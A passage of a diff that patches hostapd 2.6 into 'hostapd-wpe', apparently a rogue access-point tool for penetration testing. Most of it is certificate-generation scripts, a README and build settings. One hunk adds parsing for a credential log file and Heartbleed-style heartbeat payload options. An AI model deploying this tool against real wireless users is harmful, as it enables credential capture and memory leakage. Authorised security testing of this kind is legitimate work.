++CQEWEmNsaWVudEBleGFtcGxlLmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3
++DQEBBAUAA4GBADPAC2ax5Xnvc6BnmCUtq41eVRH8AP0nbYDRL4NHd8Z0P9wnQ/yh
++UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT
++L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF
++-----END CERTIFICATE-----
+diff -rupN hostapd-2.6/hostapd/certs/Makefile hostapd-2.6-wpe/hostapd/certs/Makefile
+--- hostapd-2.6/hostapd/certs/Makefile	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/Makefile	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,145 @@
++######################################################################
++#
++#	Make file to be installed in /etc/raddb/certs to enable
++#	the easy creation of certificates.
++#
++#	See the README file in this directory for more information.
++#
++#	$Id: cc12464c6c7754aff2f0c8d6e116708c94ff2168 $
++#
++######################################################################
++
++DH_KEY_SIZE	= 2048
++
++#
++#  Set the passwords
++#
++-include passwords.mk
++
++######################################################################
++#
++#  Make the necessary files, but not client certificates.
++#
++######################################################################
++.PHONY: all
++all: index.txt serial dh server ca client
++
++.PHONY: client
++client: client.pem
++
++.PHONY: ca
++ca: ca.der
++
++.PHONY: server
++server: server.pem server.vrfy
++
++.PHONY: verify
++verify: server.vrfy client.vrfy
++
++passwords.mk: server.cnf ca.cnf client.cnf
++	@echo "PASSWORD_SERVER	= '$(shell grep output_password server.cnf | sed 's/.*=//;s/^ *//')'"		> $@
++	@echo "PASSWORD_CA	= '$(shell grep output_password ca.cnf | sed 's/.*=//;s/^ *//')'"		>> $@
++	@echo "PASSWORD_CLIENT	= '$(shell grep output_password client.cnf | sed 's/.*=//;s/^ *//')'"		>> $@
++	@echo "USER_NAME	= '$(shell grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//')'"	>> $@
++	@echo "CA_DEFAULT_DAYS  = '$(shell grep default_days ca.cnf | sed 's/.*=//;s/^ *//')'"			>> $@
++
++######################################################################
++#
++#  Diffie-Hellman parameters
++#
++######################################################################
++dh:
++	openssl dhparam -out dh -2 $(DH_KEY_SIZE)
++
++######################################################################
++#
++#  Create a new self-signed CA certificate
++#
++######################################################################
++ca.key ca.pem: ca.cnf
++	@[ -f index.txt ] || $(MAKE) index.txt
++	@[ -f serial ] || $(MAKE) serial
++	openssl req -new -x509 -keyout ca.key -out ca.pem \
++		-days $(CA_DEFAULT_DAYS) -config ./ca.cnf
++
++ca.der: ca.pem
++	openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
++
++######################################################################
++#
++#  Create a new server certificate, signed by the above CA.
++#
++######################################################################
++server.csr server.key: server.cnf
++	openssl req -new  -out server.csr -keyout server.key -config ./server.cnf
++
++server.crt: server.csr ca.key ca.pem
++	openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
++
++server.p12: server.crt
++	openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
++
++server.pem: server.p12
++	openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
++
++.PHONY: server.vrfy
++server.vrfy: ca.pem
++	@openssl verify -CAfile ca.pem server.pem
++
++######################################################################
++#
++#  Create a new client certificate, signed by the the above server
++#  certificate.
++#
++######################################################################
++client.csr client.key: client.cnf
++	openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
++
++client.crt: client.csr ca.pem ca.key
++	openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
++
++client.p12: client.crt
++	openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12  -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
++
++client.pem: client.p12
++	openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
++	cp client.pem $(USER_NAME).pem
++
++.PHONY: client.vrfy
++client.vrfy: ca.pem client.pem
++	c_rehash .
++	openssl verify -CApath . client.pem
++
++######################################################################
++#
++#  Miscellaneous rules.
++#
++######################################################################
++index.txt:
++	@touch index.txt
++
++serial:
++	@echo '01' > serial
++
++print:
++	openssl x509 -text -in server.crt
++
++printca:
++	openssl x509 -text -in ca.pem
++
++install:
++	install -d $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 dh $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 ca.pem $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 server.pem $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 server.key $(DESTDIR)/etc/hostapd-wpe
++
++clean:
++	@rm -f *~ *old client.csr client.key client.crt client.p12 client.pem
++
++#
++#	Make a target that people won't run too often.
++#
++destroycerts:
++	rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \
++			serial*  *\.0 *\.1
+diff -rupN hostapd-2.6/hostapd/certs/README hostapd-2.6-wpe/hostapd/certs/README
+--- hostapd-2.6/hostapd/certs/README	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/README	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,226 @@
++  This directory contains scripts to create the server certificates.
++To make a set of default (i.e. test) certificates, simply type:
++
++$ ./bootstrap
++
++  The "openssl" command will be run against the sample configuration
++files included here, and will make a self-signed certificate authority
++(i.e. root CA), and a server certificate.  This "root CA" should be
++installed on any client machine needing to do EAP-TLS, PEAP, or
++EAP-TTLS.
++
++  The Microsoft "XP Extensions" will be automatically included in the
++server certificate.  Without those extensions Windows clients will
++refuse to authenticate to FreeRADIUS.
++
++  The root CA and the "XP Extensions" file also contain a crlDistributionPoints
++attribute. The latest release of Windows Phone needs this to be present
++for the handset to validate the RADIUS server certificate. The RADIUS
++server must have the URI defined but the CA need not have...however it
++is best practice for a CA to have a revocation URI. Note that whilst
++the Windows Mobile client cannot actually use the CRL when doing 802.1X
++it is recommended that the URI be an actual working URL and contain a
++revocation format file as there may be other OS behaviour at play and
++future OSes that may do something with that URI.
++
++  In general, you should use self-signed certificates for 802.1x (EAP)
++authentication.  When you list root CAs from other organisations in
++the "ca_file", you permit them to masquerade as you, to authenticate
++your users, and to issue client certificates for EAP-TLS.
++
++  If FreeRADIUS was configured to use OpenSSL, then simply starting
++the server in root in debugging mode should also create test
++certificates, i.e.:
++
++$ radiusd -X
++
++  That will cause the EAP-TLS module to run the "bootstrap" script in
++this directory.  The script will be executed only once, the first time
++the server has been installed on a particular machine.  This bootstrap
++script SHOULD be run on installation of any pre-built binary package
++for your OS.  In any case, the script will ensure that it is not run
++twice, and that it does not over-write any existing certificates.
++
++  If you already have CA and server certificates, rename (or delete)
++this directory, and create a new "certs" directory containing your
++certificates.  Note that the "make install" command will NOT
++over-write your existing "raddb/certs" directory, which means that the
++"bootstrap" command will not be run.
++
++
++		NEW INSTALLATIONS OF FREERADIUS
++
++
++  We suggest that new installations use the test certificates for
++initial tests, and then create real certificates to use for normal
++user authentication.  See the instructions below for how to create the
++various certificates.  The old test certificates can be deleted by
++running the following command:
++
++$ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
++
++  Then, follow the instructions below for creating real certificates.
++
++  Once the final certificates have been created, you can delete the
++"bootstrap" command from this directory, and delete the
++"make_cert_command" configuration from the "tls" sub-section of
++eap.conf.
++
++  If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete
++the relevant sub-sections from the "eap.conf" file.
++
++
++		MAKING A ROOT CERTIFICATE
++
++
++$ vi ca.cnf
++
++  Edit the "input_password" and "output_password" fields to be the
++  password for the CA certificate.
++
++  Edit the [certificate_authority] section to have the correct values
++  for your country, state, etc.
++
++$ make ca.pem
++
++  This step creates the CA certificate.
++
++$ make ca.der
++
++  This step creates the DER format of the self-signed certificate,
++  which is can be imported into Windows.
++
++
++		MAKING A SERVER CERTIFICATE
++
++
++$ vi server.cnf
++
++  Edit the "input_password" and "output_password" fields to be the
++  password for the server certificate.
++
++  Edit the [server] section to have the correct values for your
++  country, state, etc.  Be sure that the commonName field here is
++  different from the commonName for the CA certificate.
++
++$ make server.pem
++
++  This step creates the server certificate.
++
++  If you have an existing certificate authority, and wish to create a
++  certificate signing request for the server certificate, edit
++  server.cnf as above, and type the following command.
++
++$ make server.csr
++
++  You will have to ensure that the certificate contains the XP
++  extensions needed by Microsoft clients.
++
++
++		MAKING A CLIENT CERTIFICATE
++
++
++  Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
++and PEAP.  The following steps outline how to create a client
++certificate that is signed by the server certificate created above.
++You will have to have the password for the server certificate in the
++"input_password" and "output_password" fields of the server.cnf file.
++
++
++$ vi client.cnf
++
++  Edit the "input_password" and "output_password" fields to be the
++  password for the client certificate.  You will have to give these
++  passwords to the end user who will be using the certificates.
++
++  Edit the [client] section to have the correct values for your
++  country, state, etc.  Be sure that the commonName field here is
++  the User-Name that will be used for logins!
++
++$ make client.pem
++
++  The users certificate will be in "emailAddress.pem",
++  i.e. "user@example.com.pem".
++
++  To create another client certificate, just repeat the steps for
++  making a client certificate, being sure to enter a different login
++  name for "commonName", and a different password.
++
++
++		PERFORMANCE
++
++
++  EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL
++  calculations.  That is, a normal system can handle PAP
++  authentication at a rate of 10k packets/s.  However, SSL involves
++  RSA calculations, which are very expensive.  To benchmark your system,
++  do:
++
++$ openssl speed rsa
++
++  or
++
++$ openssl speed rsa2048
++
++  to test 2048 bit keys.
++
++  A 1GHz system will likely do 30 calculations/s.  A 2GHz system may
++  do 50 calculations/s, or more.  That number is also the number of
++  authentications/s that can be done for EAP-TLS (or TTLS, or PEAP).
++
++
++		COMPATIBILITY
++
++The certificates created using this method are known to be compatible
++with ALL operating systems.  Some common issues are:
++
++  - Windows requires certain OIDs in the certificates.  If it doesn't
++    see them, it will stop doing EAP.  The most visible effect is
++    that the client starts EAP, gets a few Access-Challenge packets,
++    and then a little while later re-starts EAP.  If this happens, see
++    the FAQ, and the comments in raddb/eap.conf for how to fix it.
++
++  - Windows requires the root certificates to be on the client PC.
++    If it doesn't have them, you will see the same issue as above.
++
++  - Windows XP post SP2 has a bug where it has problems with
++    certificate chains.  i.e. if the server certificate is an
++    intermediate one, and not a root one, then authentication will
++    silently fail, as above.
++
++  - Some versions of Windows CE cannot handle 4K RSA certificates.
++    They will (again) silently fail, as above.
++
++  - In none of these cases will Windows give the end user any
++    reasonable error message describing what went wrong.  This leads
++    people to blame the RADIUS server.  That blame is misplaced.
++
++  - Certificate chains of more than 64K bytes are known to not work.
++    This is a problem in FreeRADIUS.  However, most clients cannot
++    handle 64K certificate chains.  Most Access Points will shut down
++    the EAP session after about 50 round trips, while 64K certificate
++    chains will take about 60 round trips.  So don't use large
++    certificate chains.  They will only work after everyone upgrade
++    everything in the network.
++
++  - All other operating systems are known to work with EAP and
++    FreeRADIUS.  This includes Linux, *BSD, Mac OS X, Solaris,
++    Symbian, along with all known embedded systems, phones, WiFi
++    devices, etc.
++
++  - Someone needs to ask Microsoft to please stop making life hard for
++    their customers.
++
++
++		SECURITY CONSIDERATIONS
++
++The default certificate configuration files uses MD5 for message
++digests, to maintain compatibility with network equipment that
++supports only this algorithm.
++
++MD5 has known weaknesses and is discouraged in favour of SHA1 (see
++http://www.kb.cert.org/vuls/id/836068 for details). If your network
++equipment supports the SHA1 signature algorithm, we recommend that you
++change the "ca.cnf", "server.cnf", and "client.cnf" files to specify
++the use of SHA1 for the certificates. To do this, change the
++'default_md' entry in those files from 'md5' to 'sha1'.
+diff -rupN hostapd-2.6/hostapd/certs/README.wpe hostapd-2.6-wpe/hostapd/certs/README.wpe
+--- hostapd-2.6/hostapd/certs/README.wpe	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/README.wpe	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,13 @@
++# Certificate creation for Hostapd-WPE #
++########################################
++
++Usage:
++
++make clean
++./bootstrap
++make install
++
++Notes:
++- Windows 10 (and possibly any Windows starting from Vista) will fail EAP
++   if certificates signed with MD5 are used. 
++- Generated certificates used a SHA256 signature.
+diff -rupN hostapd-2.6/hostapd/certs/server.cnf hostapd-2.6-wpe/hostapd/certs/server.cnf
+--- hostapd-2.6/hostapd/certs/server.cnf	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/server.cnf	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,54 @@
++[ ca ]
++default_ca		= CA_default
++
++[ CA_default ]
++dir			= ./
++certs			= $dir
++crl_dir			= $dir/crl
++database		= $dir/index.txt
++new_certs_dir		= $dir
++certificate		= $dir/server.pem
++serial			= $dir/serial
++crl			= $dir/crl.pem
++private_key		= $dir/server.key
++RANDFILE		= $dir/.rand
++name_opt		= ca_default
++cert_opt		= ca_default
++default_days		= 60
++default_crl_days	= 30
++default_md		= sha256
++preserve		= no
++policy			= policy_match
++
++[ policy_match ]
++countryName		= match
++stateOrProvinceName	= match
++organizationName	= match
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++[ policy_anything ]
++countryName		= optional
++stateOrProvinceName	= optional
++localityName		= optional
++organizationName	= optional
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++[ req ]
++prompt			= no
++distinguished_name	= server
++default_bits		= 2048
++input_password		= whatever
++output_password		= whatever
++
++[server]
++countryName		= FR
++stateOrProvinceName	= Radius
++localityName		= Somewhere
++organizationName	= Example Inc.
++emailAddress		= admin@example.org
++commonName		= "Example Server Certificate"
++
+diff -rupN hostapd-2.6/hostapd/certs/xpextensions hostapd-2.6-wpe/hostapd/certs/xpextensions
+--- hostapd-2.6/hostapd/certs/xpextensions	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/xpextensions	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,24 @@
++#
++#  File containing the OIDs required for Windows.
++#
++#  http://support.microsoft.com/kb/814394/en-us
++#
++[ xpclient_ext]
++extendedKeyUsage = 1.3.6.1.5.5.7.3.2
++crlDistributionPoints = URI:http://www.example.com/example_ca.crl
++
++[ xpserver_ext]
++extendedKeyUsage = 1.3.6.1.5.5.7.3.1
++crlDistributionPoints = URI:http://www.example.com/example_ca.crl
++
++#
++#  Add this to the PKCS#7 keybag attributes holding the client's private key
++#  for machine authentication.
++#
++#  the presence of this OID tells Windows XP that the cert is intended
++#  for use by the computer itself, and not by an end-user.
++#
++#  The other solution is to use Microsoft's web certificate server
++#  to generate these certs.
++#
++# 1.3.6.1.4.1.311.17.2
+diff -rupN hostapd-2.6/hostapd/.config hostapd-2.6-wpe/hostapd/.config
+--- hostapd-2.6/hostapd/.config	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/.config	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,345 @@
++# Wireless Pawn Edition HostAPd configuration file
++#
++# This file lists the configuration options that are used when building the
++# hostapd binary. All lines starting with # are ignored. Configuration option
++# lines must be commented out complete, if they are not to be included, i.e.,
++# just setting VARIABLE=n is not disabling that variable.
++#
++# This file is included in Makefile, so variables like CFLAGS and LIBS can also
++# be modified from here. In most cass, these lines should use += in order not
++# to override previous values of the variables.
++
++# Driver interface for Host AP driver
++CONFIG_DRIVER_HOSTAP=y
++
++# Driver interface for wired authenticator
++CONFIG_DRIVER_WIRED=y
++
++# Driver interface for drivers using the nl80211 kernel interface
++CONFIG_DRIVER_NL80211=y
++
++# QCA vendor extensions to nl80211
++CONFIG_DRIVER_NL80211_QCA=y
++
++# driver_nl80211.c requires libnl. If you are compiling it yourself
++# you may need to point hostapd to your version of libnl.
++#
++#CFLAGS += -I$<path to libnl include files>
++#LIBS += -L$<path to libnl library files>
++
++# Use libnl v2.0 (or 3.0) libraries.
++#CONFIG_LIBNL20=y
++
++# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
++CONFIG_LIBNL32=y
++
++
++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
++#CONFIG_DRIVER_BSD=y
++#CFLAGS += -I/usr/local/include
++#LIBS += -L/usr/local/lib
++#LIBS_p += -L/usr/local/lib
++#LIBS_c += -L/usr/local/lib
++
++# Driver interface for no driver (e.g., RADIUS server only)
++#CONFIG_DRIVER_NONE=y
++
++# IEEE 802.11F/IAPP
++CONFIG_IAPP=y
++
++# WPA2/IEEE 802.11i RSN pre-authentication
++CONFIG_RSN_PREAUTH=y
++
++# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
++CONFIG_PEERKEY=y
++
++# IEEE 802.11w (management frame protection)
++CONFIG_IEEE80211W=y
++
++# Integrated EAP server
++CONFIG_EAP=y
++
++# EAP Re-authentication Protocol (ERP) in integrated EAP server
++CONFIG_ERP=y
++
++# EAP-MD5 for the integrated EAP server
++CONFIG_EAP_MD5=y
++
++# EAP-TLS for the integrated EAP server
++CONFIG_EAP_TLS=y
++
++# EAP-MSCHAPv2 for the integrated EAP server
++CONFIG_EAP_MSCHAPV2=y
++
++# EAP-PEAP for the integrated EAP server
++CONFIG_EAP_PEAP=y
++
++# EAP-GTC for the integrated EAP server
++CONFIG_EAP_GTC=y
++
++# EAP-TTLS for the integrated EAP server
++CONFIG_EAP_TTLS=y
++
++# EAP-SIM for the integrated EAP server
++CONFIG_EAP_SIM=y
++
++# EAP-AKA for the integrated EAP server
++CONFIG_EAP_AKA=y
++
++# EAP-AKA' for the integrated EAP server
++# This requires CONFIG_EAP_AKA to be enabled, too.
++CONFIG_EAP_AKA_PRIME=y
++
++# EAP-PAX for the integrated EAP server
++CONFIG_EAP_PAX=y
++
++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
++CONFIG_EAP_PSK=y
++
++# EAP-pwd for the integrated EAP server (secure authentication with a password)
++CONFIG_EAP_PWD=y
++
++# EAP-SAKE for the integrated EAP server
++CONFIG_EAP_SAKE=y
++
++# EAP-GPSK for the integrated EAP server
++CONFIG_EAP_GPSK=y
++# Include support for optional SHA256 cipher suite in EAP-GPSK
++CONFIG_EAP_GPSK_SHA256=y
++
++# EAP-FAST for the integrated EAP server
++# Note: If OpenSSL is used as the TLS library, OpenSSL 1.0 or newer is needed
++# for EAP-FAST support. Older OpenSSL releases would need to be patched, e.g.,
++# with openssl-0.9.8x-tls-extensions.patch, to add the needed functions.
++CONFIG_EAP_FAST=y
++
++# Wi-Fi Protected Setup (WPS)
++CONFIG_WPS=y
++# Enable UPnP support for external WPS Registrars
++CONFIG_WPS_UPNP=y
++# Enable WPS support with NFC config method
++CONFIG_WPS_NFC=y
++
++# EAP-IKEv2
++CONFIG_EAP_IKEV2=y
++
++# Trusted Network Connect (EAP-TNC)
++CONFIG_EAP_TNC=y
++
++# EAP-EKE for the integrated EAP server
++#CONFIG_EAP_EKE=y
++
++# PKCS#12 (PFX) support (used to read private key and certificate file from
++# a file that usually has extension .p12 or .pfx)
++CONFIG_PKCS12=y
++
++# RADIUS authentication server. This provides access to the integrated EAP
++# server from external hosts using RADIUS.
++CONFIG_RADIUS_SERVER=y
++
++# Build IPv6 support for RADIUS operations
++CONFIG_IPV6=y
++
++# IEEE Std 802.11r-2008 (Fast BSS Transition)
++CONFIG_IEEE80211R=y
++
++# Use the hostapd's IEEE 802.11 authentication (ACL), but without
++# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
++CONFIG_DRIVER_RADIUS_ACL=y
++
++# IEEE 802.11n (High Throughput) support
++CONFIG_IEEE80211N=y
++
++# Wireless Network Management (IEEE Std 802.11v-2011)
++# Note: This is experimental and not complete implementation.
++CONFIG_WNM=y
++
++# IEEE 802.11ac (Very High Throughput) support
++CONFIG_IEEE80211AC=y
++
++# Remove debugging code that is printing out debug messages to stdout.
++# This can be used to reduce the size of the hostapd considerably if debugging
++# code is not needed.
++#CONFIG_NO_STDOUT_DEBUG=y
++
++# Add support for writing debug log to a file: -f /tmp/hostapd.log
++# Disabled by default.
++#CONFIG_DEBUG_FILE=y
++
++# Add support for sending all debug messages (regardless of debug verbosity)
++# to the Linux kernel tracing facility. This helps debug the entire stack by
++# making it easy to record everything happening from the driver up into the
++# same file, e.g., using trace-cmd.
++#CONFIG_DEBUG_LINUX_TRACING=y
++
++# Remove support for RADIUS accounting
++#CONFIG_NO_ACCOUNTING=y
++
++# Remove support for RADIUS
++#CONFIG_NO_RADIUS=y
++
++# Remove support for VLANs
++#CONFIG_NO_VLAN=y
++
++# Enable support for fully dynamic VLANs. This enables hostapd to
++# automatically create bridge and VLAN interfaces if necessary.
++#CONFIG_FULL_DYNAMIC_VLAN=y
++
++# Use netlink-based kernel API for VLAN operations instead of ioctl()
++# Note: This requires libnl 3.1 or newer.
++#CONFIG_VLAN_NETLINK=y
++
++# Remove support for dumping internal state through control interface commands
++# This can be used to reduce binary size at the cost of disabling a debugging
++# option.
++#CONFIG_NO_DUMP_STATE=y
++
++# Enable tracing code for developer debugging
++# This tracks use of memory allocations and other registrations and reports
++# incorrect use with a backtrace of call (or allocation) location.
++#CONFIG_WPA_TRACE=y
++# For BSD, comment out these.
++#LIBS += -lexecinfo
++#LIBS_p += -lexecinfo
++#LIBS_c += -lexecinfo
++
++# Use libbfd to get more details for developer debugging
++# This enables use of libbfd to get more detailed symbols for the backtraces
++# generated by CONFIG_WPA_TRACE=y.
++#CONFIG_WPA_TRACE_BFD=y
++# For BSD, comment out these.
++#LIBS += -lbfd -liberty -lz
++#LIBS_p += -lbfd -liberty -lz
++#LIBS_c += -lbfd -liberty -lz
++
++# hostapd depends on strong random number generation being available from the
++# operating system. os_get_random() function is used to fetch random data when
++# needed, e.g., for key generation. On Linux and BSD systems, this works by
++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
++# properly initialized before hostapd is started. This is important especially
++# on embedded devices that do not have a hardware random number generator and
++# may by default start up with minimal entropy available for random number
++# generation.
++#
++# As a safety net, hostapd is by default trying to internally collect
++# additional entropy for generating random data to mix in with the data
++# fetched from the OS. This by itself is not considered to be very strong, but
++# it may help in cases where the system pool is not initialized properly.
++# However, it is very strongly recommended that the system pool is initialized
++# with enough entropy either by using hardware assisted random number
++# generator or by storing state over device reboots.
++#
++# hostapd can be configured to maintain its own entropy store over restarts to
++# enhance random number generation. This is not perfect, but it is much more
++# secure than using the same sequence of random numbers after every reboot.
++# This can be enabled with -e<entropy file> command line option. The specified
++# file needs to be readable and writable by hostapd.
++#
++# If the os_get_random() is known to provide strong random data (e.g., on
++# Linux/BSD, the board in question is known to have reliable source of random
++# data from /dev/urandom), the internal hostapd random pool can be disabled.
++# This will save some in binary size and CPU use. However, this should only be
++# considered for builds that are known to be used on devices that meet the
++# requirements described above.
++#CONFIG_NO_RANDOM_POOL=y
++
++# Should we use poll instead of select? Select is used by default.
++#CONFIG_ELOOP_POLL=y
++
++# Should we use epoll instead of select? Select is used by default.
++#CONFIG_ELOOP_EPOLL=y
++
++# Should we use kqueue instead of select? Select is used by default.
++#CONFIG_ELOOP_KQUEUE=y
++
++# Select TLS implementation
++# openssl = OpenSSL (default)
++# gnutls = GnuTLS
++# internal = Internal TLSv1 implementation (experimental)
++# none = Empty template
++#CONFIG_TLS=openssl
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
++# can be enabled to get a stronger construction of messages when block ciphers
++# are used.
++CONFIG_TLSV11=y
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
++# can be enabled to enable use of stronger crypto algorithms.
++CONFIG_TLSV12=y
++
++# If CONFIG_TLS=internal is used, additional library and include paths are
++# needed for LibTomMath. Alternatively, an integrated, minimal version of
++# LibTomMath can be used. See beginning of libtommath.c for details on benefits
++# and drawbacks of this option.
++#CONFIG_INTERNAL_LIBTOMMATH=y
++#ifndef CONFIG_INTERNAL_LIBTOMMATH
++#LTM_PATH=/usr/src/libtommath-0.39
++#CFLAGS += -I$(LTM_PATH)
++#LIBS += -L$(LTM_PATH)
++#LIBS_p += -L$(LTM_PATH)
++#endif
++# At the cost of about 4 kB of additional binary size, the internal LibTomMath
++# can be configured to include faster routines for exptmod, sqr, and div to
++# speed up DH and RSA calculation considerably
++CONFIG_INTERNAL_LIBTOMMATH_FAST=y
++
++# Interworking (IEEE 802.11u)
++# This can be used to enable functionality to improve interworking with
++# external networks.
++CONFIG_INTERWORKING=y
++
++# Hotspot 2.0
++CONFIG_HS20=y
++
++# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file
++CONFIG_SQLITE=y
++
++# Enable Fast Session Transfer (FST)
++CONFIG_FST=y
++
++# Enable CLI commands for FST testing
++#CONFIG_FST_TEST=y
++
++# Testing options
++# This can be used to enable some testing options (see also the example
++# configuration file) that are really useful only for testing clients that
++# connect to this hostapd. These options allow, for example, to drop a
++# certain percentage of probe requests or auth/(re)assoc frames.
++#
++#CONFIG_TESTING_OPTIONS=y
++
++# Automatic Channel Selection
++# This will allow hostapd to pick the channel automatically when channel is set
++# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in
++# similar way.
++#
++# Automatic selection is currently only done through initialization, later on
++# we hope to do background checks to keep us moving to more ideal channels as
++# time goes by. ACS is currently only supported through the nl80211 driver and
++# your driver must have survey dump capability that is filled by the driver
++# during scanning.
++#
++# You can customize the ACS survey algorithm with the hostapd.conf variable
++# acs_num_scans.
++#
++# Supported ACS drivers:
++# * ath9k
++# * ath5k
++# * ath10k
++#
++# For more details refer to:
++# http://wireless.kernel.org/en/users/Documentation/acs
++#
++CONFIG_ACS=y
++
++# Multiband Operation support
++# These extentions facilitate efficient use of multiple frequency bands
++# available to the AP and the devices that may associate with it.
++CONFIG_MBO=y
++
++# Client Taxonomy
++# Has the AP retain the Probe Request and (Re)Association Request frames from
++# a client, from which a signature can be produced which can identify the model
++# of client device like "Nexus 6P" or "iPhone 5s".
++CONFIG_TAXONOMY=y
+diff -rupN hostapd-2.6/hostapd/config_file.c hostapd-2.6-wpe/hostapd/config_file.c
+--- hostapd-2.6/hostapd/config_file.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/hostapd/config_file.c	2018-05-21 11:37:58.859577170 +0200
+@@ -20,7 +20,7 @@
+ #include "ap/wpa_auth.h"
+ #include "ap/ap_config.h"
+ #include "config_file.h"
+-
++#include "wpe/wpe.h"
+ 
+ #ifndef CONFIG_NO_RADIUS
+ #ifdef EAP_SERVER
+@@ -2108,6 +2108,22 @@ static int hostapd_config_fill(struct ho
+ 			return 1;
+ 		}
+ 		wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++    } else if (os_strcmp(buf, "wpe_logfile") == 0) {
++        wpe_conf.wpe_logfile = os_strdup(pos);
++    } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
++        wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
++        wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
++        wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
++        wpe_conf.wpe_hb_payload_size = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
++        wpe_conf.wpe_hb_num_repeats = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
++        wpe_conf.wpe_hb_num_tries = atoi(pos);
++#endif /* #if OPENSSL_VERSION_NUMBER  < 0x10100000L */
+ #ifdef EAP_SERVER
+ 	} else if (os_strcmp(buf, "eap_authenticator") == 0) {
+ 		bss->eap_server = atoi(pos);
+diff -rupN hostapd-2.6/hostapd/defconfig hostapd-2.6-wpe/hostapd/defconfig
+--- hostapd-2.6/hostapd/defconfig	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/hostapd/defconfig	2018-05-21 11:37:58.859577170 +0200
+@@ -148,14 +148,14 @@ CONFIG_IPV6=y
+ #CONFIG_DRIVER_RADIUS_ACL=y
+ 
+ # IEEE 802.11n (High Throughput) support
+-#CONFIG_IEEE80211N=y
++CONFIG_IEEE80211N=y
+ 
+ # Wireless Network Management (IEEE Std 802.11v-2011)
+ # Note: This is experimental and not complete implementation.
+ #CONFIG_WNM=y
+ 
+ # IEEE 802.11ac (Very High Throughput) support
+-#CONFIG_IEEE80211AC=y
++CONFIG_IEEE80211AC=y
+ 
+ # Remove debugging code that is printing out debug messages to stdout.
+ # This can be used to reduce the size of the hostapd considerably if debugging
+diff -rupN hostapd-2.6/hostapd/hostapd-wpe.conf hostapd-2.6-wpe/hostapd/hostapd-wpe.conf
+--- hostapd-2.6/hostapd/hostapd-wpe.conf	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/hostapd-wpe.conf	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,2042 @@
++# Configuration file for hostapd-wpe
++
++# Interface - Probably wlan0 for 802.11, eth0 for wired
++interface=wlan0
++
++# May have to change these depending on build location
++eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
++ca_cert=/etc/hostapd-wpe/ca.pem
